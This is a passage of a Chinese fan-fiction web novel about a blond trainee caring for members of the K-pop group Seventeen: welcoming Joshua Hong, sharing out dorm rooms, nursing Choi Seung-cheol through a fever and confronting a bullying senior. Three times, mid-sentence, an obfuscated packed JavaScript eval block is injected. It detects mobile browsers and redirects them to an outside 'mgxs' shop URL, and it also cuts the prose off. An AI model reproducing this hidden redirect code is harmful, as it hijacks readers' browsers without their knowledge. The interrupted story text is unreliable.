唯独,当轮到崔胜澈,这位和姜里树一起将他们带回来,时常带着大家玩耍的哥哥上前时,场内的气氛明显不同了。欢呼声与掌声几乎是瞬间拔高,变得更加响亮、热切,裹挟着毫不掩饰的亲近与信赖,在练习室里荡开一片温暖的喧嚷。 待到MC宣布解散,大家可以自行认识新朋友了,大家紧绷的肩线微微松懈,视线开始有了更自然的接触。不知是谁先走向了谁,小声的“你好”和简短的笑容在人群中散开。真正的认识,从这时才算开始——在卸下表演性质的仪态后,在那些带着试探与善意的、私下的对话里。 “以后,我们要再次成为同伴了!” 成了SVT正式一员的崔胜澈,很快就把之前那点因为姜里树的“隐瞒”而生出的、小小的别扭,自己给消化掉了。这不,刚宣布解散,他就第一个大步走到姜里树身边,不由分说地张开手臂,结结实实地给了对方一个结实有力的“爱的抱抱”。 姜里树先是愣了一下,随后才抬起手,轻轻回抱住已经将脑袋埋进他颈窝的崔胜澈。 他微微偏过头,在那片喧闹的背景音里,用只有两人能听清的音量,轻声说:“欢迎你,澈哩。” 停顿了一瞬,声音里带上了一丝真实的温度。 “你能来……真的太好了。” 10. 10.薄巧榛子冰淇淋 之前那件事,让姜里树在staff中彻底“声名鹊起”。 在等级森严、讲究辈分的韩娱圈,练习生,甚至预备出道组,敢如此正面硬刚工作人员,并且闹出不小动静的事件,本就屈指可数,哪个不是背着一身黑料被雪藏。何况像他这样,不仅全身而退,还让公司迅速处理并调离了所有涉事人员的情况,更是闻所未闻。 于是,一些模糊的传言开始在私下里悄然流传:都说这位金发的重国练习生,背景恐怕不简单,公司高层里说不定就有他那边的关系。 ‘关系个锤子……’ 姜里树路过安全通道时,又一次听见楼梯间里飘出类似的窃窃私语。他脚步没停,心里却忍不住嗤了一声。 真要有什么了不得的“关系”,他早就用在给孩子们争取资源、推动出道上了,还用得着在这里跟些不入流的手段周旋? 好在,公司对于预备出道组的形象管理向来严格。在还没从他们身上赚到真金白银之前,一般不会放任这些捕风捉影的传言发酵成实质性的“污点”。这些流言,目前也仅止于某些阴暗角落里的嘀咕而已。 先前几次外出公演,让面貌异于韩娱圈的姜里树同孩子们扎实的舞台与独特的朝气,确实为“Seventeen”这个名字积累起了最初的人气,也让公司确切的看到了姜里树的价值。 紧跟其后的爆火是一个意想不到的插曲,让这个名字以另一种方式被更多人记住了,之前“Seventeen TV”中那段“芥末饼干事件”的直播片段,被眼疾手快的粉丝录屏保存了下来,发布到网络上,引起了不小的涟漪。 画面里,那个金发少年暴怒、眼神凌厉的模样,带着一种超越年龄的魄力与保护欲,瞬间击中了无数观众的心,不少人路转粉。这段视频在粉丝社区中悄然流传,标题往往带着“守护者”、“哥哥力MAX”之类的标签。 于是,“Seventeen”和“大发雷霆的姜里树”这两个词条,以一种戏剧性的方式被捆绑在一起,在更广泛的网络空间里,响亮地传开了。 而还有一部分观众,看着屏幕里那个金发飞扬、神情冷冽的少年,总觉得有种说不出的眼熟。那张脸的轮廓,和特色的金发绿瞳,似乎在别的什么地方见过……可那头长发和“姜里树”这个完全陌生的名字,又像一层薄雾,将那份熟悉感隔绝在记忆之外,让人怎么也对不上号。 有好处,自然也躲不过非议。 在那些赞誉之外,另一种声音也随之浮现: “现在的新人练习生脾气也太大了吧,一点小事就上纲上线。” “对工作人员也太不尊重了,基本的礼貌呢?” “就是个综艺游戏效果而已,这么较真,玩不起就别玩啊……” …… ‘我顶你个肺。’ 姜里树划拉着手机屏幕,看到那些阴阳怪气的评论,没忍住翻了个白眼,在心里无语地吐槽了一句。这感觉真是新鲜,头一次被人这么骂,还不能直接怼回去。 他索性把手机往身边一扔,屏幕朝下,发出“啪”的一声轻响,也懒得管它死活。 眼不见为净。 那些嘈杂的声音,被他干脆利落地隔绝在了自己的世界之外。 “走吧,陪我去接个人。” “?”姜里树顿住抬头,对站在他面前着崔胜澈发出一个单音节疑问词,和一道等待解释的、微微挑起眉梢的眼神。 崔胜澈叉着腰低头看着坐在地上的姜里树说:“你不是英语很好吗。” “瀚率的母语之一是英语。” “哎一古,叫你一起就快点起来啊。”崔胜澈抓紧姜里树的手,带上力气拽着人起身,抬腿就往练习室外走。 “我手机…” “知勋呐,帮你里树哥把手机收起来!”崔胜澈头也没回的喊着。 “内~” 李知勋靠着墙,懒洋洋地应了一声,视线一路追着崔胜澈的动作。从对方站定在姜里树身边,到把人从地上“拔”起来,再到半拖半拽地把人拉出练习室。整个过程行云流水,他看在眼里,连盘坐的姿势都没怎么变。姜里树起身的时候还不小心踩了一脚自己的手机,李知勋拿起来的时候看着屏幕右上角碎掉的屏幕,沉默的将姜里树的手机塞进口袋里。 “那慧琳老师…” “我给慧琳努那帮你说过了,你是自愿帮我当翻译的。” 话都没说完就被崔胜澈打断,一点退路都没留。 “?”这能是他自愿跟他走的吗? “怎么突然是你去接人啊?” “staff联系不上你。。。”崔胜澈语气里无奈且认命,他都没直说,那能是联系不上他吗! 被抓壮丁了哎,胜澈哩你好惨哦。 这事也不是一次两次了,发个短信,打个电话就让去接人,照片都没有,要不是崔胜澈这个“雷达”在身边,他能出不少岔子。 “……”崔胜澈看着姜里树眼里的同情没说话,只是默默看着他,那眼神里的意思再清楚不过:你要不要想想最近的“风声”?最近还能有几个工作人员敢往你身边靠。 不过“那事”他听李知勋和他说了前因后果,只有120%的赞同,联系不上就联系不上吧,不是有他在呢吗。 姜里树被这无声的指控看得有点心虚,抬手摸了摸鼻子。 “……”他的“恶名”已经传到这种程度了吗?可他觉得自己上次……已经挺温和的了啊,都没动手。 “哇,那孩子……气质很特别啊。” 两人刚到指定的接人地点,崔胜澈的目光就被吸引了。 不远处的树下,一个少年安静地站着,身边立着行李箱。阳光透过枝叶的缝隙,在他身上洒下斑驳的光点。他只是站在那里,就带着一种与周遭喧闹格格不入的、干净的疏离感。 “是位从洛杉矶来的小绅士。”姜里树眼睛一亮,在崔胜澈耳边轻声说道,这孩子让他想到了他喜欢吃的薄巧榛子冰淇淋。 那少年似乎察觉到了目光,转过头来。他的视线扫过走近的两人,在姜里树金色的长发上短暂停留,最后,静静地落进了那双独特的青苹果般的眼眸里,嘴里淡淡的泛起甜味。 “Excuse me, are you Joshua Hong?” 姜里树牵着崔胜澈走到少年面前,开口问道,声音温和。 “Yeah, that’s me!” 洪知秀确认道,脸上露出一丝惊喜——来到韩国后,竟还能遇到可以直接对话的人。“And you guys must be the ones here to pick me up, right?(你们就是来接我的人对吗?)” 他会一些韩语,但那门语言已经生疏,重新拾起还需要时间。 “Yes, we are. Nice to meet you.” 姜里树微笑着点头,用清晰的英语回应,并特意用两人韩语名的标准罗马音介绍道:“I''m Kang I-su, and this is Choi Seung-cheol. Now, let''s head back to thepany together.(我叫姜里树,这是崔胜澈。现在,我们一起回公司吧。)” “Nice to meet you, Joshua.”崔胜澈向前半步,伸出右手,露出一个友善而爽朗的笑容。 洪知秀依次与两人礼貌地握手,举止间带着一种自然而良好的教养。随后,他便安静地跟在了姜里树的身侧,三人一同朝公司的方向走去。 回程的出租车上,姜里树用平稳的英语,轻声向身旁的洪知秀介绍着一些初到韩国需要注意 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17205950|197337||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的细节。 他提醒对方这里对礼仪的注重,比如见到公司高层、工作人员乃至练习生前辈时,都需要认真地鞠躬问候。姜里树也坦言现在练习室里人数不少,但随即语气便柔和下来,告诉洪知秀不必紧张,练习室里的孩子都很好相处,如果不习惯,跟着自己就好。为了让对方更安心,他还特意提到练习室里有一位韩美混血的成员崔瀚率,英语是孩子的母语之一,沟通绝不会是问题。 路程不长,就在这番时而停顿、时而继续的低声交谈中,公司的建筑已经近在眼前。 “And you?” 洪知秀微笑着点头,记下了姜里树提及的种种,却将好奇的目光转向了讲述者本人。 “Me?” 姜里树迎上他的视线,绿眸里漾开一点温和的笑意,“I''m from China, Chinese and Russian mixed. So, if you want to talk, I''m always here. Wee.(我吗?我来自重国,中俄混血,你想要和我交流的话随时都可以,欢迎。)” “You promise?” “I promise.” 自欢迎洪知秀加入的环节开始,姜里树便一直站在他身侧,为他低声实时翻译着MC的话。 流程进行到小分队表演时,起初一切顺利。夫胜宽和两位女孩的合唱柔和动听,接下来便是李硕珉所在的小组。 姜里树看着在洪知秀面前刻意搞怪、挤眉弄眼的李硕珉,忍不住抬手捂住了脸。而接下来,当MC笑着将略带茫然的洪知秀轻轻带到李硕珉他们那群活宝中间时…… 从那一刻起,姜里树站在一旁,看着被簇拥在搞怪中心、显然有些无措的洪知秀,只觉得自己的脚趾都忍不住开始替人尴尬地抠地。 他在心里无声地抓狂:允真姐,欢迎仪式设计得很好……下次别设计了。他是真的担心,再这么下去,这位刚来的、气质安静的小绅士,会忍不住直接转身走人。 当所有人对着洪知秀完成那场“热情洋溢”的表演后,文俊辉和Samuel主动走上前,轻轻抱了抱他。这个简单安静的举动,像一道缓冲,及时化解了空气中弥漫的过度热闹。随后,MC让洪知秀简单说了几句初来乍到的感想,便笑着放过了他,没让这场欢迎仪式走向更不可控的方向。 也没完全放过他。 MC紧接着提议,让所有人都对着洪知秀“撒个娇”,或者做个自我表演。 第一个被点名的,就是刚刚一直在旁边划水、没参与表演的姜里树。 “拿嫩?”姜里树一脸“你确定吗”的不可置信,抬手指了指自己,望向MC。 “内,就是你,快点对新来的孩子撒个娇。” MC笑眯眯地点头,语气不容置疑。 “……”来吧,‘君要臣死,臣不得不死。’ 姜里树在所有人的注视下,走到仍有些紧张的洪知秀面前站定。 洪知秀抬起头,迎上那双因为含了笑意而显得格外清澈水润的绿眼睛。不知怎的,对方眼中那份温和的明朗,让他紧绷的心弦悄然松了一些。他静静地看着姜里树,等待着接下来的动作。 接着,他做了一个异常娇俏的少女动作,一个清晰的wink,配上标准的脸颊比心。 做完这个动作,姜里树几乎是瞬间就捂住了脸。在所有人的注视下,从脖子到耳朵尖,迅速蔓延开一片肉眼可见的、滚烫的红晕。 崔胜澈和金珉奎反应极快,两人一左一右冲上前,默契地搂住了姜里树的胳膊,把他稳稳“锁”在原地,以防这位显然已羞愤到极点的哥哥下一秒就夺门而逃。 而被这场热闹包围的洪知秀,看着眼前这混乱又鲜活的景象,紧绷的嘴角终于松开了。他在今天,露出了第一个真正放松的、开怀的笑容。 11. 11.‘站住别说话听我解释我和你胜澈哥没有在谈恋爱!\’ “灿呐!快点,再磨蹭你们老师真要带队出发了!” 新的一天,从SVT宿舍里传来姜里树拔高的催促声开始。 “hiong…我真的要去吗?最近练习排得很满……”李灿抱着自己的小背包,身上穿着前几天姜里树特意带他去买的新衣服,脸上却写满了不安。 “为什么不去?”崔胜澈一把揽过他的肩膀,带着人往门口走,声音爽朗,“你里树哥专程去问过金代表了,修学旅行完全没问题。不过,”他话锋一转,笑着用自己的脑袋蹭蹭李灿的脑袋,“基本功可别忘了抽空练习啊。” “内!”李灿应了一声,声音里依旧带着点纠结。说完全不想去修学旅行当然是假的,他也不想一个人孤零零留在学校和老师们望眼欲穿。可同样的,他更舍不得放下仍在练习室里挥洒汗水的哥哥们。 “李灿!” “内!” “快点出发了,你要迟到了!” 姜里树拔高的声音从门外传来,带着不容置疑的催促。他只需要花光他放在他书包里的钱就够了,小脑袋瓜里每天想那么多干什么。 “内!” 李灿被这声“怒吼”惊得一个激灵,心里那点犹豫瞬间被“要迟到了!”的紧迫感占领。他不敢再耽搁,抱着背包就急匆匆地朝门外跑去,满脑子只剩下哥哥那句——要迟到了!要迟到了! 崔胜澈在一边看得分明,笑得肩膀直抖,人都要站不住了歪倒在走过来的姜里树身上,毫不掩饰自己的“幸灾乐祸”。 宿舍客厅里的其他孩子们,也都跟着笑了起来,看着自家忙内被大哥一句话就精准拿捏、慌慌张张跑走的样子,只觉得又可爱又好笑。 送走了忙内,剩下的人今天也有了明确的任务,重新规划宿舍。来了新的伙伴,房间的分配需要重新调整。趁着眼下基本全员都在,正好一起动手,给宿舍来一次彻底的大扫除和重新布局。 “孩子们,都到客厅集合一下!” 崔胜澈拍了拍手,提高声音招呼着宿舍里的成员。姜里树则转身去拿了纸和笔,准备用来记录每个人关于同住意愿的想法。 很快,少年们便陆陆续续地从各自房间出来,在客厅的地板上或坐或靠,聚集在了一起。 “现在,每个人都和我说说,都想和谁一起住,好吗?”姜里树拿着纸笔盘腿坐在地上,声音温和地询问着围坐在一起的孩子们。 他脸上还是一如既往温柔的样子,猫猫嘴勾着和平时一样的弧度,继续清晰地说明:“我们有三个卧室,每间可以住四个人。客厅里已经有一张床了。另外,我住的小房间还能再来一个人。” 他语气平稳,仿佛在陈述一件寻常小事,“所以,我们可能需要有伙伴愿意睡在客厅的地铺上,大家看这样可以吗?” 他将所有关于宿舍拥挤的焦虑,以及“卖公寓”的念头、投资的股票现在还没有反响,没办法立即给孩子们一个大一点的环境,他都将这些牢牢压在了心底。在孩子们面前,他展现出的只有解决问题的冷静,与一如既往的可靠。 “我要和里树住!” 崔胜澈在孩子们还没完全反应过来时,已经非常迅速地、高高举起了手,声音响亮地宣布。 “啊!胜澈哥耍赖!!!” 他话音未落,其他孩子们瞬间“炸”开了,抗议声和笑闹声混成一片,纷纷指责这位哥哥“不讲武德”。 “哎一古,这怎么能算是耍赖呢?” 崔胜澈抬手潇洒地撩了下头发,还特意给孩子们摆了个帅气的pose,脸上那副“先到先得”的嘚瑟,藏都不藏。“Seventeen大魔王”初具人形,笃定孩子们不会来和他抢。 只有坐在姜里树另一边的李知勋默默握紧了拳头。 此刻,他面无表情地看着崔胜澈在那儿嘚瑟,他在姜里树话音声落就张开了嘴,还是慢崔胜澈一步,心里已经开始认真思考,找个什么机会“暗杀”掉这位哥比较合适。 其他孩子这会儿都很聪明的自然不会去和两个哥争里树哥床铺的另一半,他们总有机会从别的地方争取来属于自己的福利的。孩子们努力让自己嫉妒的小心思平息下来,文俊辉还在全圆佑身边的角落里打了套拳。 姜里树看着眼前这热闹又暗流涌动的场面,忍不住轻笑了一下。 他拍了拍手,将孩子们的注意力拉回来,语气轻快地说:“好啦,你们自己好好讨论,尽快给我一个统一的答复。等你们都决定好了,我再最后公布住宿安排。我先提前订中午的午餐,这样收拾完不耽误吃午餐,部队锅和石锅拌饭可以吗?” “好——!!!” 食物的诱惑瞬间点燃了气氛,孩子们那点因为“床位争夺战”而产生的小小失落,立刻被抛到了脑后。干劲和活力又重新回到了每个人脸上,回答声整齐又响亮。 姜里树这边在手机上预订好送餐时间,那边孩子们就都商量好把名单告诉了姜里树,一一将孩子们的名字登记在纸张上。 “接下来,我来宣布一下每个房间的成员安排,大家听好哦。” 姜里树拿着记好的名单站起身,声音清晰地开始宣读。 “一号卧室:上铺顺荣、硕珉,下铺知勋、灿。” 话音落下,被点到的权顺荣和李硕珉自己就开心地鼓起了掌,小小的欢呼了一下。 “二号卧室:上铺圆佑、Samuel和瀚率,下铺珉奎、俊辉。” 他顿了顿,看向崔瀚率和Samuel,“要辛苦我们两个小忙内挤一挤上铺了。” 被点到的全圆佑、文俊辉和金珉奎也开心地为自己鼓了鼓掌,两个小忙内则连忙对哥哥摆摆手,表示完全没问题。 “三号卧室:上铺明明、道允,下铺东真。虽然道允不常住在宿舍,但位置会一直给他留着。” 他继续道,“还有一个位置,经过知秀和胜宽的同意,决定留给未来的新成员。” “好了,既然床位都分配好了,大家现在就动起来吧。”姜里树收起名单,拍了拍手,声音里带着督促和鼓励。 “先把自己的东西搬到对应的位置,然后按照卧室分组,各自打扫好自己房间的区域。等每个房间都收拾干净了,我们再一起动手,打扫所有的公共区域。” 他说完,目光温和地扫过所有孩子,将接下来的任务清晰地交代了下去。 “内!”孩子们齐声应道,声音清脆响亮,随即像得到了指令的小分队,纷纷起身,开始热热闹闹地搬运行李、整理床铺,宿舍里瞬间充满了忙碌而有序的活力。 姜里树转身回到自己的小房间,准备开始收拾。一推门,就看见崔胜澈已经舒舒服服地坐在床上打了有一会儿游戏了。那副气定神闲的模样,仿佛他早就料定自己会住进来一样。 姜里树看着他那样子,心里忍不住嘀咕:大概从自己默认让他同住的那一刻起,这家伙就已经把这当成自己的地盘了吧! 实在看不得崔胜澈那么悠闲的模样,姜里树放轻脚步,悄无声息地靠近他背后,然后突然用手臂一把锁住了对方毫无防备的脖子。 “嘎——!” 崔胜澈猝不及防,被勒得发出一声短促又滑稽的怪叫,鼠标都差点脱手飞了出去。只是电脑屏幕上的人物正是关键的决战时刻,因为崔胜澈的失误整个屏幕变成了暗色,角色Katari ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17205951|197337||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' na阵亡。 两个人就保持锁与被锁的动作看着名叫“GoJeonPa_”的玩家完成补救击杀,然后发了个问号。 崔胜澈赶紧拍拍姜里树的手臂示意松开,赶快给队友回了句话“抱歉,刚刚网不好,失误了,我的。” 可能因为他之前的操作一直在线,那位中单队友倒也没多说什么。等姜里树坐在旁边看着崔胜澈打完,问他要不要加一下这个中单,玩的很厉害啊。崔胜澈也是这么想的,发了个好友申请,说下次一起玩,对面说那是他的小号,有机会上线一起玩,崔胜澈回复了个‘好’后,两个人同时下线。 “看起来像是电竞大神‘Faker’的粉丝,连游戏名用的都是‘Faker’以前用过的。” 崔胜澈关掉电脑,意犹未尽地对姜里树说着,眼里还带着对刚才那局游戏的快意。 他顿了顿,转过头,语气里带上了一种自然而然的笃定,笑着说:“以后,我们也会有的,那种因为喜欢我们,而特意把网名改成和我们有关的粉丝。” “一定会的。” 姜里树看着崔胜澈那双闪着光的黑眸,肯定地回答他。随即,他话锋一转,伸手拍了拍对方的后背,语气变得务实起来:“现在,请我们这位未来的大明星澈哩,先把你的东西和衣服都归位放好。孩子们都快收拾完了,一会儿可就要一起打扫公共区域了。” “安——怼——,里树帮我吧~”崔胜澈拖长了声音,耍赖般地伸了个懒腰,整个人就顺势倒进了姜里树的怀里,然后抬起手指了指立在衣柜前的行李箱。 “想的美,自己收拾。”姜里树‘冷酷无情’。 “呜呜呜——” 崔胜澈收回指着行李箱的手,转而捂在自己脸上,从指缝里发出含糊的声音,光打雷不下雨。 姜里树正准备瞄准崔胜澈的后脑勺呼上去,房门“咔——”一声被推开了。 站在门口的是李硕珉。 姜里树那句“怎么了”还没问出口,脑子里瞬间闪过之前种种离奇的误会,立刻改口,语速快得像开了二倍速,一个标点符号都不敢停:“站住别说话听我解释我和你胜澈哥没有在谈恋爱!” “啊?”李硕珉被他这劈头盖脸、没头没尾的一句给喊懵了,愣在门口,眨了眨眼才找回自己的声音,脸上满是纯粹的困惑,他只是想来问问哥收拾好了没。 “什么?”什么没和他谈恋爱?崔胜澈躺在姜里树怀里一脸茫然。 在死寂的空气里僵持了大概一分钟,姜里树才终于找回了自己的声音。 他清了清嗓子,努力让语气听起来若无其事,转向门口的李硕珉:“咳……没事。怎么了硕珉,是大家都收拾好了吗?” “内?” “?”到底好没好? 他决定不再纠结,干脆自己去看。于是,他一把掀开还赖在他身上的崔胜澈,利落地翻身下床,推着依旧状况外的李硕珉就往外走。 “……” 姜里树看着眼前已经窗明几净、焕然一新的客厅和公共区域,一时语塞。孩子们不仅把自己的卧室收拾好了,连带着把公共区域也打扫得差不多了。 他默默在心里记了一笔:都怪崔胜澈。 清了清嗓子,他扬起声音,带着笑意对还在做最后整理的孩子们说:“咳,辛苦了,孩子们~午饭已经在路上了,一会儿就到!” 现在他的主要作用,就只剩下播报外卖进度了。 “内!!!”是大家活力满满的回应。 ‘救命,是天使们啊~’ 此时此刻姜里树却怎么也没想到先‘天使’先来一步的是病魔啊。 12. 12.‘是因为我的拳头没有落在你的脸上吗\’ 龙山Severance医院,急诊室。 姜里树正守在输液室的座椅旁,看着吊瓶里的药液一滴滴落下,流入崔胜澈手背的静脉…几个小时前,身边人滚烫得像块烧红的炭,把他从睡梦中生生烫醒,触碰到崔胜澈额头的那一瞬间,姜里树清晰的感觉到他的心脏都暂停了几秒钟。 他手忙脚乱地给烧得迷迷糊糊的崔胜澈套上衣服,背起人就往外冲。在深夜的街头,他顶着一身冷汗,等出租车就足足等了五分多钟。 而等车的时候,似乎是因为刚刚跑步的颠簸,崔胜澈中途还在姜里树的背上醒了过来,迷迷糊糊的说了声“米亚内…hiong…”就又晕过去了。这句话像一根细针,轻轻一戳就让姜里树努力故作正定的心一下子就漏了气,他的眼泪毫无预兆的滚落下来。 他用脑袋蹭蹭崔胜澈发热的额头,呼出来的热气简直要烫伤他。泪水顺着脸庞落到了崔胜澈挂在他胸口的手背上,慌里慌张的也没有注意到崔胜澈的手指,几不可察地轻轻抽搐了一下。 崔胜澈昏昏沉沉,在半梦半醒的混沌中,一丝微弱的心绪划过他烧得滚烫的神经末梢。 ‘……好冰。’ 那点落在手背上的凉意,转瞬即逝,却像一滴水落进了灼热的沙漠,留下一点模糊的、微不可查的痕迹。 这两年,孩子们不是没生过病,感冒发烧也是常有的事。但从没有一个,像崔胜澈这样,在深夜里毫无预兆地突发高热,来势汹汹。 等待检查结果的时候,他掏出手机,给刚才被他们匆忙出门的动静吵醒的孩子们发了消息道歉,简单说明了崔胜澈突发高烧、两人正在医院的情况。 然后,他一条条仔细地嘱咐:让已经能帮他分担照顾弟弟们的文俊辉转告大家,暂时不要进他和崔胜澈的房间,等他回去彻底消毒,以免传染;感冒冲剂放在厨房橱柜里,让每个人都冲一包喝下,提前预防,和代理、经纪人请假…… 把这些都安排妥当,发送出去后,姜里树才感觉一直提着的那口气,终于能缓缓地、疲惫地松下来。 没一会儿医生拿着检查单过来了。检查结果出来了,这突发的高烧只是因为最近压力过大、神经长期紧绷导致的急性反应。 “输液把体温降下来,好好休息几天,应该就没事了。” 医生这样说道。 紧绷的神经一放松,手脚的酸软和背脊的沉重感便瞬间涌了上来,眼前发黑的他靠在冰凉的椅背上,几乎挺不直腰。 第二天,体温终于降下来的崔胜澈在透过窗户的阳光中醒了过来。 身体像被拆开重组过一样,又酸又僵,让他不自觉地倒吸一口冷气。他试着动了动胳膊,一边还挂着点滴,另一边则被一只手抓得死死的。 他这细微的动作,立刻惊动了床边趴着的人。 那颗金色的脑袋猛地抬了起来,头发睡得乱糟糟的,额头上还印着几道明显的被子褶皱红痕。姜里树眼神迷蒙,显然还没完全清醒,崔胜澈甚至能听到他起身时,脖颈和后背传来的、轻微的“咔啪”声。 姜里树两三秒才反应过来崔胜澈醒过来了,猛然站起来,眼前一黑又倒了下去,椅子都没扶稳又倒在地上,给躺在病床上的崔胜澈吓了一跳,突然起身就被迅速爬起来姜里树摁住了。 “别动,我没事,只是站起来的太急了。” 姜里树的声音还有点哑,带着没休息好的疲惫,但动作却不容置疑。 “有没有哪里不舒服?头还疼不疼?饿不饿?想不想喝水?……”姜里树一边仔细打量着崔胜澈的脸色,一连串的问题就不停地从嘴里蹦出来。 “身上有点酸……头也晕晕的……”崔胜澈被他问得有点发懵,一个个地老实回答,最后才小声补了一句,“……饿。” 或许是因为高烧刚退,身体还虚着,也或许是因为看到姜里树这副前所未有急切又担忧的样子,一股没来由的、像小孩子一样的委屈,悄悄涌了上来,让他鼻子有点发酸。 “hiong……” 平时总爱直呼其名、气鼓鼓的时候甚至没大没小喊他全名的人,此刻也乖乖地、带着依赖地叫起了哥哥。 “我在。” 姜里树的声音放得极轻,应了一声,伸手温柔地摸了摸崔胜澈还有些汗湿的头发,将他所有因病痛而生出的、细微的脆弱和小情绪,都稳稳地接住了。 “里树……” 这不,才稍微好一点,那股熟悉的劲儿就又回来了,开始直接叫名字了。 “我在。” 姜里树有些无奈,却又觉得理所当然地在心里笑了笑,应了一声。还能怎么办呢?当然是继续宠着了。 “姜里树,我想喝鸡汤,你炖的。”理直气壮。 “可以,一会儿我就回去炖上。”病人最大。 “姜里树,我想喝酒。”得寸进尺。 “你想挨打。”病人也能挨打。 给崔胜澈买了垫肚子的清淡食物,姜里树提着食材回到宿舍时,里面安安静静,孩子们果然都不在,这个时间,应该都已经在公司练习室了。 他看了看手里的东西,正好可以多准备一些午餐,一会儿给孩子们送去…… 但念头一转,一个现实的问题立刻冒了出来,‘做好了,这么多人的份量,要怎么带过去?餐盒都没有那么多’有点麻烦,果然还是直接买现成的吧。鸡汤可以炖好,晚上回来热一热再喝。 好,就这么决定了。 姜里树利落地定下方案,趁着砂锅里炖上鸡汤的工夫,先给练习室里的孩子们打电话,通知他们一会儿记得去公司门口拿饭,和他们说了崔胜澈新的情况,以及下午还要去趟医院,让孩子们照顾好自己后,转身拿出消毒用品,开始仔细地给他和崔胜澈的小房间,以及所有的公共区域,做彻底的消杀,开窗通风。 一通卫生做完,鸡汤也炖得差不多了。姜里树看了看时间,前后不到两小时。他将香浓的鸡汤仔细装进保温饭盒,心里盘算着路线时间,先去医院给崔胜澈送过去,看看他的情况;然后再去练习室,看看孩子们。 送餐去医院的路上很顺利,给孩子们订的午餐也准时送到了练习室。一切似乎都按计划进行。 然而,就在他以为能松口气的时候,却在孩子们本应全员练习的时间段,在公司门口迎面撞见了苦着一张脸、低头匆匆往外走的李硕珉。 小孩儿心神不宁,根本没看路,一脑袋结结实实地撞在了姜里树的胸口上。 “唔!” 姜里树站在原地被这突如其来的一下撞得闷哼一声,往后踉跄了半步才稳住。 “啊!米亚嘿呦!米安嘿呦!您没事吧!!!”李硕珉撞到人反应过来自己闯祸了,捂着头对面人都没看清就不停的鞠躬道歉。 “停一下,停一下,硕珉啊,是我。” 姜里树轻轻拍了拍他的肩膀,“我没事。” “hiong!你回来了!” 李硕珉这才抬起头,看到是姜里树,眼睛一下子亮了起来,刚才的愁云瞬间散了,“胜澈哥没事了吗?!” “嗯,胜澈在医院休息观察,半夜突然发烧把我吓了一跳,让你们也担心了。”姜里树语气温和。 “那就好,那就好。”李硕珉松了口气,露出安心的笑容。 “对了硕珉,你这是要去哪?”姜里树顺手揉了揉小孩儿的头发。 “…唔……额……我去…我去……买点儿东西。”支支吾吾的,眼神躲闪就是不看姜里树,声音也越来越小。 “?,买什么东西?”姜里树察觉到他语气里的不对劲,追问道。 “买…买冰饮……” “……是你自己要买的吗?说实话。”姜里树的语气不自觉地沉了下来。 “是,是道允哥、前辈,让我去的……”李硕珉听到姜里树已经冷下去的语气,声音也带上了哽咽。 “他给你钱了吗?” “……没有。” 李硕珉的头垂得更低了,几乎是在嗫嚅,“道允前辈说,‘平时都是姜里树给你们做饭买饭,钱应该省下很多吧,去给我买瓶水吧硕珉。’” 说着,委屈的眼泪就啪嗒啪嗒地掉了下来。 姜里树立刻意识到自己的语气吓到了孩子。他深吸一口气,迅速缓和了表情,伸手替李硕珉擦掉眼泪,摸了摸他的头发,声音放得极轻,却无比清晰:“抬头,看着我。其他人……也被这样对待过吗?” “有过,但很少,大多时候是我…”小孩儿在哥哥温柔而坚定的注视下,把所有的委屈都在泪声中告诉了信任的哥哥。 “好,我知道了。” 姜里树点了点头,牵起他的手,“走,我们回练习室。” “里树哥!不行!” 李硕珉猛地回过神,慌忙拉住他,“我没事的,你别去找他!” 他急得眼泪又涌了上来。上次姜里树为文俊辉和李灿出头后,孩子们多多少少都听到了一些公司里和网络上的闲言碎语。如果这次再闹起来,只会对姜里树更不利。 “我们硕珉相信哥吗?” 姜里树停下脚步,转过身,用指腹轻轻抹掉李硕珉脸上的泪痕,目光平和地看着他。 “……相信。” 李硕珉吸了吸鼻子,毫不犹豫地回答。他怎么会不相信姜里树。 “那就相信我能处理好这件事,好吗?” 姜里树的声音很稳,带着一种让人安心的力量,“我保证,不会和他吵架的。” “嗯。” 李硕珉点了点头,任由姜里树牵着他的手,转身朝练习室走去。 或许心里还有些不安,但此刻,哥哥的手稳稳地牵着他,就站在他身边。这份踏实感,比任何语言都更有力量。 “道允啊,出来一下。” 姜里树脸上的表情和平时没什么两样,语气也听不出波澜。他先让情绪已经平复下来的李硕珉回到了文俊辉、权顺荣那几个孩子身边,然后才转向练习室里唯一那把椅子,上面正翘着二郎腿坐着的张道允。 听到门口突然传来的、姜里树叫自己的声音,张道允心里暗道一声糟糕。他迅速放下腿,从椅子上站了起来,脸上换上和平日无异的、带着点敬意的笑容,应道:“内,里树哥。” 张道允没敢多话,老老实实地跟在姜里树身后。两人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17205952|197337||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); 